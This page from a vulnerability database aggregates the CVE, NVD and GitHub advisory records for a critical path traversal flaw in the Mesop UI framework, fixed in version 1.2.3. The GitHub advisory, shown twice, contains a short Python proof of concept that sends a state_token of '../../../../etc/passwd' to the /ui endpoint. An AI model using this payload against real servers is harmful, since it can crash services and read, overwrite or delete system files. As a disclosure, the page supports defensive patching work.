Vulnerability-Lookup

CVE-2026-33054 (GCVE-0-2026-33054)

Vulnerability from cvelistv5 – Published: 2026-03-20 06:57 – Updated: 2026-03-20 13:50

Title

Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Summary

Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/mesop-dev/mesop/security/advis…	x_refsource_CONFIRM
	https://github.com/mesop-dev/mesop/commit/c6b382f…	x_refsource_MISC
	https://github.com/mesop-dev/mesop/releases/tag/v1.2.3	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	mesop-dev	mesop	Affected: < 1.2.3

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33054

Vulnerability from fkie_nvd - Published: 2026-03-20 07:16 - Updated: 2026-03-24 16:29

Severity ?

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b	Patch
security-advisories@github.com	https://github.com/mesop-dev/mesop/releases/tag/v1.2.3	Release Notes
security-advisories@github.com	https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	mesop-dev	mesop	*

JSON

To clipboard

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      "nodes": [
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          "cpeMatch": [
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              "versionEndExcluding": "1.2.3",
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    },
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      "lang": "es",
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  "lastModified": "2026-03-24T16:29:12.830",
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GHSA-8QVF-MR4W-9X2C

Vulnerability from github – Published: 2026-03-18 20:01 – Updated: 2026-03-20 21:23

Summary

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Details

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

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      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:01:21Z",
    "nvd_published_at": "2026-03-20T07:16:13Z",
    "severity": "CRITICAL"
  },
  "details": "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user\u0027s `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -\u003e Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython\u0027s standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {\u0027Content-Type\u0027: \u0027application/x-protobuf\u0027}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.",
  "id": "GHSA-8qvf-mr4w-9x2c",
  "modified": "2026-03-20T21:23:22Z",
  "published": "2026-03-18T20:01:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33054 (GCVE-0-2026-33054)

FKIE_CVE-2026-33054

GHSA-8QVF-MR4W-9X2C

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature